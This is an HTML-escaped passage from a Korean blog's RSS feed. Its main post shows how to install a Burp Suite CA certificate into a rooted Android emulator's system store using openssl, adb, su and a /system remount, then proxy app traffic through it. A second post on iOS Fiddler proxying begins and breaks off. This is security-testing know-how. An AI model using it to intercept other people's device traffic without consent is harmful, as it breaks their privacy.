data-origin-height=&quot;599&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서 설치 과정2&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/da8hQR/btsCMrzDa3F/ijXUugioNV09us8eKNss5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/da8hQR/btsCMrzDa3F/ijXUugioNV09us8eKNss5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/da8hQR/btsCMrzDa3F/ijXUugioNV09us8eKNss5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fda8hQR%2FbtsCMrzDa3F%2FijXUugioNV09us8eKNss5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1116&quot; height=&quot;188&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;http://slproweb.com/products/Win32OpenSSL.html&quot; data-token-index=&quot;0&quot;&gt;&lt;span&gt;openssl&lt;/span&gt;&lt;/a&gt;&amp;nbsp;을 통해 DER 을 PEM으로 변경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1703756349035&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl x509 -inform DER -in cacert.der -out cacert.pem&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;bull; openssl 을 통해 인증서 해시값을 추출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1703756343059&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl x509 -inform PEM -subject_hash_old -in cacert.pem&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1319&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ha2CA/btsCIHQLq3O/0BUkUkIEfxIvbqpP8NqdX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ha2CA/btsCIHQLq3O/0BUkUkIEfxIvbqpP8NqdX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ha2CA/btsCIHQLq3O/0BUkUkIEfxIvbqpP8NqdX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHa2CA%2FbtsCIHQLq3O%2F0BUkUkIEfxIvbqpP8NqdX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1319&quot; height=&quot;429&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1319&quot; data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 안드로이드 앱에서 개발자 모드를 설정해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1230&quot; data-origin-height=&quot;820&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7Fk9i/btsCRezf7fF/nKEWpgm7ZJPjtKhkBjagP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7Fk9i/btsCRezf7fF/nKEWpgm7ZJPjtKhkBjagP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7Fk9i/btsCRezf7fF/nKEWpgm7ZJPjtKhkBjagP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7Fk9i%2FbtsCRezf7fF%2FnKEWpgm7ZJPjtKhkBjagP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1230&quot; height=&quot;820&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1230&quot; data-origin-height=&quot;820&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 연결을 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;480&quot; data-origin-height=&quot;123&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwJxti/btsCQ2yRoOw/TMeNrhz5T98FL4I8BzwDF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwJxti/btsCQ2yRoOw/TMeNrhz5T98FL4I8BzwDF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwJxti/btsCQ2yRoOw/TMeNrhz5T98FL4I8BzwDF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwJxti%2FbtsCQ2yRoOw%2FTMeNrhz5T98FL4I8BzwDF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;123&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;480&quot; data-origin-height=&quot;123&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 인증서를 넣어준다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;adb push 269953fb.0 /data/local/tmp&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;167&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dszPIp/btsCOGC2KyL/kKzEFkLCQ7viHQalfS3IKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dszPIp/btsCOGC2KyL/kKzEFkLCQ7viHQalfS3IKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dszPIp/btsCOGC2KyL/kKzEFkLCQ7viHQalfS3IKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdszPIp%2FbtsCOGC2KyL%2FkKzEFkLCQ7viHQalfS3IKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;167&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 adb shell 로 접근한뒤 su로 권한을 준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  이때 su가 없다고뜨며 안된다면 루팅이 안된것이다 난 오딘으로 루팅해줬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3gPEm/btsCOACLUVK/8fMoirZyKco8CeCtmTfBck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3gPEm/btsCOACLUVK/8fMoirZyKco8CeCtmTfBck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3gPEm/btsCOACLUVK/8fMoirZyKco8CeCtmTfBck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3gPEm%2FbtsCOACLUVK%2F8fMoirZyKco8CeCtmTfBck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;180&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mount -o rw,remount /system&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 인증서 파일을 옮겨준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1216&quot; data-origin-height=&quot;321&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZT4hJ/btsCNZQlUL2/EiYoAcdqwnF5lLkO8yshjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZT4hJ/btsCNZQlUL2/EiYoAcdqwnF5lLkO8yshjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZT4hJ/btsCNZQlUL2/EiYoAcdqwnF5lLkO8yshjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZT4hJ%2FbtsCNZQlUL2%2FEiYoAcdqwnF5lLkO8yshjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1216&quot; height=&quot;321&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1216&quot; data-origin-height=&quot;321&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1REYn/btsCP4wVxM6/RvnBgLy2vpT3BP0qHY6Zc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1REYn/btsCP4wVxM6/RvnBgLy2vpT3BP0qHY6Zc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1REYn/btsCP4wVxM6/RvnBgLy2vpT3BP0qHY6Zc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1REYn%2FbtsCP4wVxM6%2FRvnBgLy2vpT3BP0qHY6Zc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;809&quot; height=&quot;439&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;BRUPSUIT 성공!!!&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 인증서 다운 이후 시그니처 확인해서 이름 변경 후 adb push로 내부 설치&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1382&quot; data-origin-height=&quot;912&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7aF5S/btsCN6opabi/TAi2lm4Kaoygk2o6QgHo80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7aF5S/btsCN6opabi/TAi2lm4Kaoygk2o6QgHo80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7aF5S/btsCN6opabi/TAi2lm4Kaoygk2o6QgHo80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7aF5S%2FbtsCN6opabi%2FTAi2lm4Kaoygk2o6QgHo80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1382&quot; height=&quot;912&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1382&quot; data-origin-height=&quot;912&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;270&quot; data-origin-height=&quot;50&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q3O7W/btsCN1tUVu2/k2Ni8kvVWgBgjts4K1bi3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q3O7W/btsCN1tUVu2/k2Ni8kvVWgBgjts4K1bi3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q3O7W/btsCN1tUVu2/k2Ni8kvVWgBgjts4K1bi3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq3O7W%2FbtsCN1tUVu2%2Fk2Ni8kvVWgBgjts4K1bi3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;270&quot; height=&quot;50&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;270&quot; data-origin-height=&quot;50&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 마운트 이후 인증서 경로로 파일 이동&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;91&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7PRXw/btsCIETZKzN/vhQzn6LFQA8eO6bZNGCKtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7PRXw/btsCIETZKzN/vhQzn6LFQA8eO6bZNGCKtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7PRXw/btsCIETZKzN/vhQzn6LFQA8eO6bZNGCKtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7PRXw%2FbtsCIETZKzN%2FvhQzn6LFQA8eO6bZNGCKtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;876&quot; height=&quot;91&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;91&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. ipconfig로 내부 ip 확인&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;172.30.1.22&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qZ0pf/btsCQ3qY4Nr/uniPpAYTqsbP1NbV4KE74k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qZ0pf/btsCQ3qY4Nr/uniPpAYTqsbP1NbV4KE74k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qZ0pf/btsCQ3qY4Nr/uniPpAYTqsbP1NbV4KE74k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqZ0pf%2FbtsCQ3qY4Nr%2FuniPpAYTqsbP1NbV4KE74k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;487&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 녹스의 네트워크 설정으로 들어간뒤 WiredSSID를 2초정도 누르고 있으면 네트워크 수정 버튼이 생긴다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1193&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BB1la/btsCF9NvQ5W/cSmzBElKBaPn5eR6XI1kpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BB1la/btsCF9NvQ5W/cSmzBElKBaPn5eR6XI1kpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BB1la/btsCF9NvQ5W/cSmzBElKBaPn5eR6XI1kpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBB1la%2FbtsCF9NvQ5W%2FcSmzBElKBaPn5eR6XI1kpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1193&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1193&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 프록시를 수동으로 변경하고 아까 ipconfig로 알아낸 ip와 피들러에서 설정한 포트를 입력해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;3102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eSUJyg/btsCMobQciN/khm0u1UKFhK30cgCS2dG31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eSUJyg/btsCMobQciN/khm0u1UKFhK30cgCS2dG31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eSUJyg/btsCMobQciN/khm0u1UKFhK30cgCS2dG31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeSUJyg%2FbtsCMobQciN%2Fkhm0u1UKFhK30cgCS2dG31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;3102&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;3102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 버프스위트도 내부 프록시 설정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;385&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DldR9/btsCN4qzzmv/6LzU5vbNKriTYr19prhEG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DldR9/btsCN4qzzmv/6LzU5vbNKriTYr19prhEG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DldR9/btsCN4qzzmv/6LzU5vbNKriTYr19prhEG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDldR9%2FbtsCN4qzzmv%2F6LzU5vbNKriTYr19prhEG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;385&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;385&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. burp 프록시 enable 알람 클릭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. 접근 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;666&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD1bmq/btsCOFqB80r/htRmaSktOmzvUvljEaKMD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD1bmq/btsCOFqB80r/htRmaSktOmzvUvljEaKMD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD1bmq/btsCOFqB80r/htRmaSktOmzvUvljEaKMD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD1bmq%2FbtsCOFqB80r%2FhtRmaSktOmzvUvljEaKMD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1416&quot; height=&quot;666&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;541&quot; data-origin-height=&quot;421&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg8w1W/btsCN2sM7GE/k312KjIdMJvJGJfLdkErI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg8w1W/btsCN2sM7GE/k312KjIdMJvJGJfLdkErI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg8w1W/btsCN2sM7GE/k312KjIdMJvJGJfLdkErI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg8w1W%2FbtsCN2sM7GE%2Fk312KjIdMJvJGJfLdkErI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;541&quot; height=&quot;421&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;541&quot; data-origin-height=&quot;421&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Android</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/203</guid>
      <comments>https://wpgur.tistory.com/203#entry203comment</comments>
      <pubDate>Thu, 28 Dec 2023 18:43:42 +0900</pubDate>
    </item>
    <item>
      <title>IoS Fiddler 프록시 설정 - 노트북 연결 x</title>
      <link>https://wpgur.tistory.com/202</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;프록시를 설정할때 안드로이드앱이 분석이 힘들때 IOS 기기로 잘 되는 경우가 있었다. 따라서 기존 상용화되고있는 앱의 패킷을 분석하고 싶을때 이 방법을 사용했다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;네트워크 세팅&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  실 공격을 날리지 않을 계획이여서 카페 네트워크를 사용&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 네트워크를 자유롭게 사용해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hollys_5G_new 네트워크 사용&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
